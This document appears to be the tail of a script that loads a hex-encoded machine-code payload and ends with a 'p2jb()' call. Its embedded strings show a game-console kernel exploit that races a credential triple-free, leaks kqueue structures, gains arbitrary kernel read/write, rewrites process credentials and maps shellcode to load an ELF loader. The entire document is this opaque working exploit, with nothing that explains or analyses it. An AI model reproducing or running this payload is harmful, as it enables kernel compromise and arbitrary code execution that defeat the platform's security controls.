88020000498B7568498B7D006A006A00E80AF6FFFF498B85980300004883C4204C89EF48C7400808000000496385F4030000418BB48544010000E870FEFFFF4C89E7E818FDFFFF498BB59000000031C931D2498B7D006A004531C94531C06A00E8BAF5FFFF496385F0030000498B754841C785BC03000010000000498B7D0041B833000000B9290000004D8B8D8003000049639485440100006A004156E87DF5FFFF498B85800300004883C420837808140F84A0000000498B8DB0030000496395840200004531C941B808000000498B7558498B7D006A006A00E840F5FFFF415F584C8B3C24498B0F498B75584531C941B80800000049639584020000498B7D006A004983C7086A00E811F5FFFF415A415B4939DF75CF4C89E7E880F6FFFF498B7568498B7D004531C9498B8DB0030000496395880200006A0041B8080000006A00E8D8F4FFFF41584159E9EFFEFFFF0F1F8000000000488B10498B85900300004C89EF488910488B15A12C000048896830498DADE80200004889502048C740081400000048C74010FFFFFFFF48C740180800000048C740280000000048C7403808000000496385F8030000418BB48544010000E8F6FCFFFFEB590F1F400049639590020000498B75684531C941B804000000498B7D006A006A00E83FF4FFFF4889EFE8B7F5FFFF498B7558498B7D004531C9498B8DB00300004963958C0200006A0041B8040000006A00E80FF4FFFF4883C4204889EFE843FBFFFF498BB59000000031C931D2498B7D006A004531C94531C06A00E8E5F3FFFF496385F0030000498B754841C785BC03000040000000498B7D004D8B8D80030000B92900000041B83300000049639485440100006A004156E8A8F3FFFF498B85800300004883C420498B8DB0030000837820010F852CFFFFFF498B7558498B7D004531C941B808000000496395840200006A0049BE41414141414141416A00E861F3FFFF5E5F48C7442408000000004C8B3C24498B0F498B75584531C941B80800000049639584020000498B7D006A006A00E82EF3FFFF498B075A594C39307423418BB5F0030000BAFFFFFFFF4C89EFE820F5FFFF418985F4030000498B0748894424084983C7084939DF75A64C89E7E870F4FFFF498B7568498B7D004531C9498B8DB0030000496395900200006A0041B8040000006A00E8C8F2FFFF418B95F4030000418BB5F00300004C89EFE8C2F4FFFF4889EF418985F8030000E823F4FFFF498B7558498B7D004531C9498B8DB00300004963958C0200006A0041B8040000006A00E87BF2FFFF4883C420498B7D004531C9498BB5080100006A004531C031C96A00488B542410E856F2FFFF488B4424184883C4385B5D415C415D415E415FC366904155415455534883EC08488B2F488B5F084889EF4C8D63104C8D6B18E81FF8FFFF4889EFE8D7F7FFFFEB230F1F440000488B7330488B7B206A004C89E26A004531C94531C031C9E8F4F1FFFF585A4889DFE89AF2FFFF488B7550488B7D004531C9488B8D880300004863958C0200006A004531C06A00E8C5F1FFFF488B7328488B7B206A006A004531C94531C031C94C89E2E8A9F1FFFF8B43084883C42083C0018943083B037588488B7340488B7B206A0031C96A004531C94531C04C89EAE87CF1FFFF595EE965FFFFFF0F1F4400004154B801000000660FEFC0BA030000005541B91000000049C7C0FFFFFFFF534883EC208B4F08488B1F0F29442410D3E0488BB3A0000000488B3BB90100000066894424106A00488D44241850E81FF1FFFF488B3B4531C931C9C744241C02000001488BB3A8000000BA010000006A006A004C8D44242CE8F5F0FFFF4883C420908B837C04000085C074F649BC0000000000800000BDFFFFFEFFEB250F1F440000488BB3B0000000488B3B6A004C89E26A004531C94531C031C9E8B2F0FFFF585AB801000000F0480FC183700400004839C573CDF0838378040000010F1F4400008B837C04000085C075F6488B4330488B3B6A004531C96A004531C031C9BAAF010000488D7007E895F0FFFF4883C4305B5D415CC366662E0F1F8400000000009041544531C941B818000000554889D5534889FB4883EC20660F6F05F1270000486397980200004989E44889742410488B77680F290424488B3F4C89E16A006A00E80BF0FFFF488B7358488B3B4C89E1486393940200006A004531C941B8180000006A00E8E8EFFFFF4C89E4488B7358488B3B4863939C0200006A004889E94531C96A0041B808000000E8C2EFFFFF4883C4305B5D415CC3660F1F840000000000554863F653488D34764889FB48C1E6044883EC184803B7E003000048C744240800000000488D6C24084889EAE82FFFFFFF488B74240848BA000000000000FF7F4889F0480FBAF83F4839C272074883C4185B5DC331C04889EA4889DF4889442408E8FAFEFFFF488B74240831D24889DF48895424084889EA4883C618E8DFFEFFFF488B74240831C94889EA4889DF48894C24084881C620010000E8C1FEFFFF488B74240831FF4889EA48897C2408B9080000004889DF4883C670E811F4FFFFEB8C66662E0F1F8400000000000F1F400041544531C941B818000000554889D5534889FB4883EC20660F6F0591260000486397980200004989E44889742410488B77680F290424488B3F4C89E16A006A00E89BEEFFFF488B7358488B3B4C89E1486393940200006A004531C941B8180000006A00E878EEFFFF4C89E4488B7358488B3B4863939C0200006A004889E94531C96A0041B804000000E852EEFFFF4883C4305B5D415CC3660F1F840000000000415455488D6E28534889EE4889FB4883EC104C8D64240CC744240C000000004C89E2E839FFFFFF4C89E24889EE4889DFB9040000008344240C01E821F3FFFF4883C4105B5D415CC30F1F84000000000041554531C941B81800000048B8000000000040000041544989D4554889CD534889FB4883EC28486397980200004989E5890C244889742410488B77684C89E9C744240400000000488B3F48894424086A006A00E898EDFFFF488B7358488B3B4C89E9486393940200006A004531C941B8180000006A00E875EDFFFF4C89EC488B7358488B3B4863939C0200006A004989E84C89E16A004531C9E852EDFFFF4883C4385B5D415C415DC30F1F8000000000415741564155415455534881EC88000000803E000F845602000031C90F1F40004883C101803C0E0075F631C04C8D5424300F1F8000000000440FB60406458804024989C04883C0014839C873064883F82F76E5498D4802498D7003C6440430304989D34889D04989D048C1E83C49C1EB204989D14989D74889042449C1E9184C89D849C1E81C4989D2C6440C30784183E00F49C1EF24488D0D7318000083E00F4D89CB4989D149C1EA100FB604014C894424184989D64183E70F49C1E9144D89D04989D2460FB63C394183E30F4183E10F4889D349C1EA0C49C1EE284C895C24204889D54C894C24284989D44989D54183E60F4D89D14989D34989D248C1E008460FB6343148C1EB3848C1ED344C09F849C1EC3049C1ED2C83E30F4183E00F49C1EA0849C1EB044183E10F83E20F4183E30F83E50F4183E40F4183E50F4183E20F48C1E008460FB62C290FB62C294C09F0460FB6242148C1E0084C09E848C1E0084C09E048C1E0084809E80FB62C194889C3488B042448C1E3084809EB0FB62C010FB60411420FB614194C8B5C242048C1E30848C1E0084809EB4809D0420FB6141148891C2448C1E0084809D0420FB614094C8B4C242848C1E0084809D0420FB614014C8B44241848C1E0084809D0420FB6140948C1E0084809D0420FB6141948C1E0084809D0420FB61401B90A00000048C1E00866894C34404809D04889442408660F6F04240F114434304863973001000085D27E47488BB7B80000004885F6743B4531C0807C243000488D87340100004C8D54243074120F1F80000000004983C00143803C020075F5488B3F6A104531C94C89D150E8E4EAFFFF585A4881C4880000005B5D415C415D415E415FC3BE02000000B90100000031C0E9DAFDFFFF66662E0F1F8400000000000F1F400041544889F94189D355534883EC40803E000F845901000031D20F1F80000000004883C201803C160075F631C04989E2900FB63C0641883C024889C74883C0014839D073064883F82F76E6488D7702488D57034589DCC60404304489DF4589D8C60434784589D94589DA4489DB488D350D160000C1EB0C4489DDC1EF1C41C1EC044183E30FC1ED0883E30F420FB6041E4183E40F83E50F41C1EA10460FB61C2641C1E9144183E20F41C1E81848C1E008460FB614164183E10F4183E00F4C09D8440FB61C2E460FB60C0E48C1E008460FB604064C09D8440FB61C1E0FB6343E48C1E0084C09D848C1E0084C09D048C1E0084C09C848C1E0084C09C048C1E0084809F0BE0A0000004889041466897414084863913001000085D27E44488BB1B80000004885F674384531C0803C2400488D81340100004989E274120F1F80000000004983C00143803C020075F5488B396A104531C94C89D150E854E9FFFF585A4883C4405B5D415CC3660F1F840000000000BA02000000BE0100000031C0E9D1FEFFFF66662E0F1F8400000000000F1F400041574989FF4156415541544989D455534883EC38488B97200100004885D20F84FF0100004889F5488D35201500004989CDE8AAFBFFFF488D05F3140000488D1DE714000048C74424280000000066480F6EC8498D873401000066480F6EC3B95F0000004889442408660F6CC1488D5C2410488D15AE1400000F114424180F1F004C89E8488D3D77140000BE2F000000904883C7014088304883C0010FB6374084F675ED0FB675004084F674314889EF904883C7014088304883C0010FB6374084F675ED84C9741A660F1F8400000000004883C20188084883C0010FB60A84C975EF488D0D27140000BA2F0000000F1F004883C10188104883C0010FB61184D275EF410FB6142484D274174C89E10F1F004883C10188104883C0010FB61184D275EFC600004963973001000085D27E75498BB7B80000004885F674694531C041807D0000740F0F1F004983C00143807C05000075F4498B3F6A104531C94C89E9FF742410E8B8E7FFFF496397300100004159415A85D27E2D498BB7B8000000498B3F4885F674216A1041B8010000004531C9488D0D2E180000FF742410E87FE7FFFF5F4158498B3F498BB7200100006A0031C94531C96A004531C04C89EAE85EE7FFFF488D35991300004C89FF4989C689C2E89AFCFFFF595E4585F67915488B53084883C3084885D274450FB60AE98EFEFFFF498B77206A004963D64531C96A00498B3F4531C031C9E813E7FFFF58B8010000005A4883C4385B5D415C415D415E415FC3488D350B130000E851E7FFFF31C0EBE166662E0F1F84000000000066904157488D35451300004C8D3D90F4FFFF41564155415455534889FB4C8DAB840200004C8DB3A80200004881ECD8000000E80BE7FFFF4D89E94531C0B901000000488B8378030000C700002C0016488B8388030000488B9390030000488B7310C783B80300006801000048C7401817000000488B3B48895010488B9398030000488B83A8030000488902488B93A0030000488902BA010000006A006A00E83FE6FFFF488B7310488B3B6A006A004531C0B901000000BA010000004C8D8B8C020000E81BE6FFFF4883C420488B3B4531C9488BB3000100006A004531C0B9100000006A00BA04000000E8F4E5FFFF488B3B4531C94531C0488BB3000100006A00B910000000BA040000006A004889C5E8CEE5FFFF4883C4204889DE4989C4488D83E80200004889C74889442470E8B0EDFFFF488D83300300004889DE4889C748890424E89AEDFFFF488D83C80200004C896424184C8B64247048894424104C896C24204D89F54989DE4889C34C897500498BB6C00000004989E931C94C896508498B3E4C89EA4D89F86A004983C5084883C5106A00E848E5FFFF415B584C39EB75CA4C8B6C24204C89F34C8B3C244C8D357DEBFFFF4C8B642418488B6C24104C892C244989DD488B5C24704D892C24498BB5C00000004D89E131C94D897C2408498B7D004889EA4D89F06A004883C5084983C4106A00E8E7E4FFFF4159415A4839DD75C74C89EB4C8B2C24488D834401000048894424304889C50F1F84000000000048635500488B3B41B8330000004531C9488B73406A00B9290000004883C5046A00E89AE4FFFF5F41584939ED75D2488B8390030000488B3B4531C94531C0660F6F055A1C0000B910000000488BB300010000BA030000004C8DA3500400000F11006A006A00E856E4FFFF488B7328488B3B4531C9488983680400004889C54531C031C9488B052E1C0000BA01000000C78424980000000300000048C78370040000000000004889842490000000C7837804000000000000C7837C040000000000006A006A00E8F6E3FFFF4883C420488B3B31C9488BB3980000006A004531C94531C06A00BA0A000000E8D2E3FFFF488D35461000004889DFE823E4FFFF488D83680400004C8D9424900000004889442410595E4C896C24104D89D5418B450048895D004531C94531C0488BB300010000488B3BB900800000BA010000008945084983C5046A006A00E873E3FFFF488B3B4531C94531C0488BB3000100006A00B940000000BA010000006A004989C7E84DE3FFFF4883C420488B3B4531C94531C0B968000000BA010000004989C6488BB3000100006A006A00E823E3FFFF488B3B4531C9BAC70100004889C1488D059EF1FFFF41B868000000488901488B4330488969084883C5104C896130488D70074983C4084C89791048C74118008000004C89712048C74128400000006A006A00E8FCE2FFFF488B4424204883C4204939C40F8515FFFFFF488D35BB1700004889DF4C8B6C24104C8D35740E0000E8FFE2FFFF31C9C7837C040000010000008B837804000083F8020F8F0F0400004C896C247889CD0F1F440000488B3B488BB3980000006A0031C96A004531C94531C0BA3C00000083C501E855E2FFFF488B8B70040000415D31FF415F4885C97416B80000FFFF89EA4829C8480FAFC231D248F7F14889C7448B8B300100004585C90F8E9403000048B81527BD505F9001904C8B93B800000048F7E14889C84829D048D1E8488D340248C1EE1983FE630F87660300004D85D20F845D030000660FEFC04C8D9C249000000041BC6B0000000F298424900000004C89DA4C8D05190E00000F298424A00000000F298424B00000000F298424C0000000662E0F1F8400000000004889D04983C0014883C201448862FF450FB6204584E475E84989CF4989C84989CD4989CC49C1EF3C49C1E8384C893C244989CF4183E00F49C1ED3449C1EF304C894424104989C84183E50F4183E70F49C1E82C4C896C24184989CD4C897C24204989CF4183E00F49C1ED2049C1EF284C894424284183E50F49C1EC244D89F84989CF4183E40F49C1EF1C470FB624264183E00F4183E70F470FB604064C897C24384989CF49C1EF184183E70F4C897C24404989CF49C1EF144183E70F4C897C24484989CF49C1EF104183E70F4C897C24504989CF49C1EF0C4183E70F4C897C24584989CF49C1EF084183E70F4C897C24604989CF83E10F48894C2468430FB60C2E49C1EF044183E70F4C8B6C241848C1E1084C09E14C8B64242048C1E1084C09C14C8B44242848C1E108470FB604064C09C1470FB604264C8B64241048C1E1084C09C1470FB6042E48C1E1084C09C1470FB6042648C1E1084C09C14C8B04244989CD488B4C2468470FB62406470FB6043E49C1E508410FB60C0E4D09E548C1E1084C09C14C8B44246048C1E108470FB604064C09C14C8B44245848C1E108470FB604064C09C14C8B4424504C8B7C24384C892C2448C1E108C6421020470FB604064C09C14C8B44244848C1E108470FB604064C09C14C8B44244048C1E108470FB604064C09C1470FB6043E48C1E1084C09C148894C2408660F6F0C240F110A83FE090F87310A00004883C01289F1BACDCCCCCC41BC25200000480FAFD16644896001B96500000048C1EA238D149201D229D68D56308810488D5003488D05C20B0000660F1F4400004889D64883C0014883C201884AFF0FB60884C975EB83FF630F86C009000089F84883C6024869C81F85EB5148C1E92583C130880AB9CDCCCCCC41BFCDCCCCCC488D5601480FAFC848C1E9234189C84D0FAFC749C1E823478D04804501C04429C183C130880EB9CDCCCCCC4C8D4201480FAFC148C1E8238D048001C029C78D47308802BA6D000000488D05330B0000662E0F1F8400000000004883C0014188104983C0010FB61084D275EE488D8334010000488B3B6A104963D1504531C94C89D64529D84C89D9E88DDEFFFF4159415A8B837804000083F8020F8E02FCFFFF4C8B6C2478488D35A61300004889DFBDEDFF000049BC0000000000800000E8B7DEFFFF488B3BBA050000004531C9488BB3980000006A004531C031C96A00E837DEFFFF585A0F1F440000488B3B488BB3B00000006A004531C06A004531C931C94C89E2E812DEFFFF5F41584883ED0175D9488BB398000000488B3B6A0031C96A004531C94531C0BA050000004C8D3D750A0000488DABFC0300004C8DB34C0400004C8D256A0A0000E8CDDDFFFF488D352E1300004889DFE81EDEFFFF595E0F1F4000488BB320010000488B3B6A004531C96A004531C031C94C89FA4883C504E896DDFFFF4C89E64889DF8945FC89C2E8D6F2FFFF585A4C39F575C7488B7328488B3B6A004531C96A004531C031C9BA010000004531FF4C8DA3BC030000E858DDFFFF488B3B4531C94531C0488BB3980000006A0031C9BA0A0000006A00E838DDFFFF4883C420488D35D40900004889DFE885DDFFFF44897C24184C8B742470C7834C040000000000008B542418488D35C70900004889DFE84EF2FFFF488B6C2430660F1F84000000000048635500488B73404531C9B929000000488B3B6A0041B8330000004883C5046A00E8CADCFFFF415F584C39ED75D24863834C040000488B73204531C931C9488B3B4531C048639483FC0300006A006A00E89BDCFFFF4863934C040000C78493FC030000FFFFFFFF4889D083C00189834C040000415B5DBD200000000F1F4400004C89F7E8A8E3FFFF488BB39000000031C931D2488B3B6A004531C94531C06A00E84BDCFFFF488B7368488B3B4531C9488B8BB0030000486393900200006A0041B8040000006A00E824DCFFFF4883C4204C89F7E898DDFFFF488B7358488B3B4531C9488B8BB00300004863938C0200006A0041B8040000006A00E8F1DBFFFF4159415A83ED010F8574FFFFFF4863834C040000488B3B4531C04531C9488B732031C931ED48639483FC0300006A006A00E8BBDBFFFF4863934C040000C78493FC030000FFFFFFFF4889D083C00189834C0400005F41584C897424284989DE31DB89D8498B7640498B3EB9290000004D8B8E780300000D0000371341B83300000041894104418B86B80300004963949E440100006A0050E855DBFFFF5989E95E09D90F84090100004883C3014883FB5075AF89E94C896C242031DB4869C9D34D621048C1E92669C1E803000089E929C14189CDEB3D0F1F4000498B86800300004489E909D98B50040FB7C20F84960000006631D281FA00003713750839D80F85C80000004883C3014883FB500F848C040000498B7648498B3EB9290000004189DF4D8B8E8003000041B83300000041C786BC030000080000004963949E440100006A004154E8A7DAFFFF89E9415B5A09D9758689C2488D35840700004C89F7E8DDEFFFFF418B96BC030000488D358C0700004C89F7E8C7EFFFFF498B86800300008B50040FB7C2488D358C0700004C89F789442410891424E8A4EFFFFF8B4424108B1424E948FFFFFF0F1F84000000000089C2488D35080700004C89F7BB01000000E87AEFFFFFE995FEFFFF44893C244989DF4C89F389EA488D35540700004889DF894424104C8B7424284C8B6C2420E84CEFFFFF4489FA488D354F0700004889DFE83AEFFFFF48631424488D35560700004889DF4989D78B949344010000E81DEFFFFF8B442410488D35520700004889DF89C2890424E805EFFFFF48632C24488D35540700004889DF4883C5508B54AB04E8EAEEFFFF8B0424486354AB044531C9488B7340488B3BB9290000004489BBE80300008983EC03000041B833000000BDF40100006A006A00E862D9FFFF488BB39000000031C931D2488B3B6A004531C94531C06A00E845D9FFFF4883C420488B3B4531C9488BB3900000006A004531C031C96A0031D2E824D9FFFF4159415AEB69660F1F440000488B7368488B3B4531C941B804000000488B8BB0030000486393900200006A006A00E8F1D8FFFF4C89F7E869DAFFFF488B7358488B3B4531C9488B8BB00300004863938C0200006A0041B8040000006A00E8C2D8FFFF4883C42083ED010F846F0300004C89F7E8EDDFFFFF488BB39000000031C931D2488B3B6A004531C94531C06A00E890D8FFFF488BB39000000031C931D2488B3B6A004531C94531C06A00E873D8FFFF4883C420488B3B4531C9488BB3900000006A004531C031C96A0031D2E852D8FFFF488BB39000000031C931D2488B3B6A004531C94531C06A00E835D8FFFF4883C420488B7348488B3B486383E80300004C8B8B80030000B929000000C783BC0300000800000041B83300000048639483440100006A004154E8F6D7FFFF488B8380030000415F5A8338010F85CBFEFFFF8B83E8030000488B73204531C94531C0488B3B31C98983F00300004863834C04000048639483FC0300006A006A00E8B0D7FFFF488B3B4531C94531C04863934C040000488BB39000000031C9C78493FC030000FFFFFFFF4889D031D283C00189834C0400006A006A00E875D7FFFF8BB3F00300004883C4204889DFBAFFFFFFFFE86ED9FFFF85C00F886E020000488B7368488B3B8983F40300004531C9488B8BB0030000486393900200006A0041B8040000006A00E829D7FFFF8B93F40300008BB3F00300004889DFE825D9FFFF4159415A85C00F88680200008983F8030000488B7C2470E879D8FFFF488B7358488B3B4531C9488B8BB00300004863938C0200006A0041B8040000006A00E8D2D6FFFF488D35AB0400004889DFE823D7FFFF486383F0030000488D35AB0400004889DF8B948344010000E8F6EBFFFF486383F4030000488D35A40400004889DF8B948344010000E8D9EBFFFF486383F8030000488D359D0400004889DF8B948344010000E8BCEBFFFF58B8010000005A4881C4D80000005B5D415C415D415E415FC383C5014C8B6C242081FD881300000F85ADFAFFFF4C89F34C8B7424284863933001000085D20F8E29010000488BB3B80000004885F60F8419010000488DAB340100004531C0488D0D970B0000EB044983C00142803C010075F5488B3B6A104531C955E8ECD5FFFF8B83300100005F415885C00F8EDC000000488BB3B80000004885F60F84CC0000004531C0488D0D790B0000904983C00142803C010075F5488B3B6A104863D04531C955E8A4D5FFFF595E83442418018B44241883F8080F857FF8FFFF488D35C10300004889DFE8E1D5FFFF31C0E915FFFFFF89F883FF090F867CF6FFFF4889D6E943F6FFFF89F141B8CDCCCCCC4883C0134C0FAFC149C1E8234183C03044884211E9B4F5FFFF8B833001000085C07E3D488BB3B80000004885F674314C8D8B340100004531C0488D0DE20200004983C00142803C010075F5488B3B6A104863D041514531C9E802D5FFFF415B5D83442418018B44241883F8080F85DCF7FFFFE958FFFFFF8B833001000085C07EDF488BB3B80000004885F674D3488DBB340100004531C0488D0D990A00004983C00142803C010075F56A104863D04531C957488B3BE8A5D4FFFF595EEBA24C89F7E819D6FFFF488B7358488B3B4531C9488B8BB00300004863938C0200006A0041B8040000006A00E872D4FFFF8B83300100005F415885C00F8E62FFFFFF488BB3B80000004885F60F8452FFFFFF488DBB340100004531C0488D0D400A00004983C00142803C010075F5E97AFFFFFF30313233343536373839616263646566002F6D6E742F73616E64626F782F002F7361766564617461302F6C75612F656C665F6A622F005F303030005F303031005F3030320066696E645F66696C653A20666E5F6F70656E206E756C6C0A0066696E645F66696C653A20666E5F6F70656E3D0066696E645F66696C653A206F70656E207265743D006B7165783A20636E743D3078006574613D006D696E0A00746374663A20656E7465720A00746374663A2073657475696420646F6E650A002F6465762F6E756C6C00746374663A206E756C6C5F66643D00746374663A207365636F6E642073657475696420646F6E650A00746374663A20617474656D707420230066696E645F7477696E733A207365745F72746864725B305D207265743D0066696E645F7477696E733A206765745F72746864725B305D207265743D0066696E645F7477696E733A206C65616B5F72746864725F6C656E3D0066696E645F7477696E733A20736F636B5B305D2076616C3D0066696E645F7477696E733A20666F756E6420617474656D70743D0066696E645F7477696E733A207477696E735B305D206964783D0066696E645F7477696E733A207477696E735B305D2066643D0066696E645F7477696E733A207477696E735B315D206964783D0066696E645F7477696E733A207477696E735B315D2066643D00617474656D70745F726163653A206E6F74207265636C61696D65640A00746374663A20747269706C65747320666F756E640A00746374663A20747269706C6574735B305D2066643D00746374663A20747269706C6574735B315D2066643D00746374663A20747269706C6574735B325D2066643D00746374663A20616C6C20617474656D707473206661696C65640A005363655265646973536572766572002F6D6E742F757362302F6B6578705F64656275672E62696E0073656E64746F00696E69743A2073656E64746F207265736F6C7665640A00736F636B657400736F636B6574706169720064757000636C6F73650073657475696400676574706964006B717565756500736574736F636B6F707400676574736F636B6F707400726563766D73670072656164760077726974650077726974657600696F63746C00706970650066636E746C0073636865645F7969656C6400736C656570006370757365745F736574616666696E6974790072747072696F5F746872656164005F5F7379735F6B7175657565657800707468726561645F63726561746500707468726561645F6A6F696E00707468726561645F6D757465785F696E697400707468726561645F6D757465785F6C6F636B00707468726561645F6D757465785F756E6C6F636B00707468726561645F636F6E645F696E697400707468726561645F636F6E645F7761697400707468726561645F636F6E645F62726F6164636173740063616C6C6F630066726565006D6D6170006F70656E006C7365656B00696E69743A202F6465762F6E756C6C2066643D00696E69743A2063616C6C6F632F66726565207265736F6C7665640A00696E69743A2063707520616666696E697479207365740A00696E69743A2072747072696F207365740A00696E69743A206D6173746572207069706520637265617465640A00696E69743A2076696374696D207069706520637265617465640A00696E69743A20706970657320736574204F5F4E4F4E424C4F434B0A006578706C6F69743A2073746172740A006C65616B4B71756575653A20656E7465720A006C65616B4B71756575653A20667265655F727468647220646F6E650A006C65616B4B71756575653A206B712066643D006C65616B4B71756575653A2072746864725B307830385D3D006C65616B4B71756575653A2072746864725B4B515F4644505D3D006C65616B4B71756575653A206B715F6664703D006C65616B4B71756575653A206B715F666470206973207A65726F0A006578706C6F69743A206C65616B4B71756575652066696E69736865640A006578706C6F69743A206664745F6F66696C65733D006578706C6F69743A206D61737465725F72706970655F66696C653D006578706C6F69743A2076696374696D5F72706970655F66696C653D006578706C6F69743A206D61737465725F72706970655F646174613D006578706C6F69743A2076696374696D5F72706970655F646174613D006578706C6F69743A206C65616B4B7175657565206661696C65640A006578706C6F69743A20616C6C70726F633D006578706C6F69743A2063757270726F633D006578706C6F69743A20705F75637265643D006578706C6F69743A2063725F7569643D006578706C6F69743A2063725F7363654175746849643D007072652D70617463682075637265642B307838323D006578706C6F69743A20706F73742063725F7569643D006578706C6F69743A20706F73742063725F7363654175746849643D0061696F3A20707265706172650A0061696F3A20737973656E745F6F66663D0061696F3A20636F6D6D5F6F66663D0061696F3A2070726F63206F666673657473206E6F7420666F756E640A0061696F3A2066697273742070726F633D0061696F3A206E61746976652070726F633D0061696F3A2066696E64696E6720656C666C64720A00656C666C64722D7073352D302E32332E656C660061696F3A2070726F637320636865636B65643D0061696F3A2077616C6B20656E64656420617420636865636B65643D0061696F3A206C61737420703D0061696F3A206E61746976652070726F63206E6F7420666F756E640A0061696F3A20656C666C6472206E6F7420666F756E640A0061696F3A2072656164696E6720656C666C64720A0061696F3A20656C666C64722072656164206661696C65640A0061696F3A20656C666C64725F73697A653D006B6578705F323032365F30355F32352E62696E0061696F3A206B6578702062696E206E6F7420666F756E640A0061696F3A2072656164696E672062696E0A0061696F3A2062696E2072656164206661696C65640A0061696F3A2062696E5F73697A653D0061696F3A207368656C6C636F6465206D61707065643D0061696F3A207072657061726520646F6E650A0061696F3A2072756E0A0061696F3A20737973656E7420737761707065640A0061696F3A207468726561643D0061696F3A20737973656E7420726573746F7265640A0061696F3A20646F6E650A006578706C6F69743A20646F6E650A0061696F3A206D6170206661696C65640A006690746374663A206B716578207468726561647320737061776E656420287468725F6E6577290A0000000000000000000000746374663A2072756E6E696E672072656D61696E2063616C6C73206174206D61696E207468726561642E2E2E0A000000746374663A204372656174696E67202F6465762F6E756C6C206664732E2E2E0A000000000000000066696E645F7477696E733A206661696C6564206166746572203530303020617474656D7074730A00617474656D70745F726163653A207477696E73206E6F7420666F756E640A0000617474656D70745F726163653A20747269706C6574735B315D206E6F7420666F756E640A00000000617474656D70745F726163653A20747269706C6574735B325D206E6F7420666F756E640A000000007363654B65726E656C4A69744372656174655368617265644D656D6F727900006578706C6F69743A20747269676765725563726564547269706C6546726565206661696C65640A006578706C6F69743A20747269676765725563726564547269706C65467265652066696E69736865640A000000000000006C65616B4B71756575653A206672656520747269706C6574735B315D2066643D00000000000000006C65616B4B71756575653A20747269706C6574206E6F7420666F756E640A00006C65616B4B71756575653A206E657720747269706C6574735B315D2066643D006578706C6F69743A2061726269747261727920722F772061636869657665640A00000000000000006578706C6F69743A206B71657820746872656164732072656C65617365640A006578706C6F69743A20636C6F736564207265616D696E696E67202F6465762F6E756C6C206664730A000000000000000061696F3A207573696E6720757362206B6578705F64656275672E62696E0A009000000000000000000000000000400000040000000000000000000000FFFFFFFF08000000000000000000000000400000040000000000000000000000004000000100000000000000010000000000000001000000010000000100000002000000"
|
|
|
|
p2jb()
|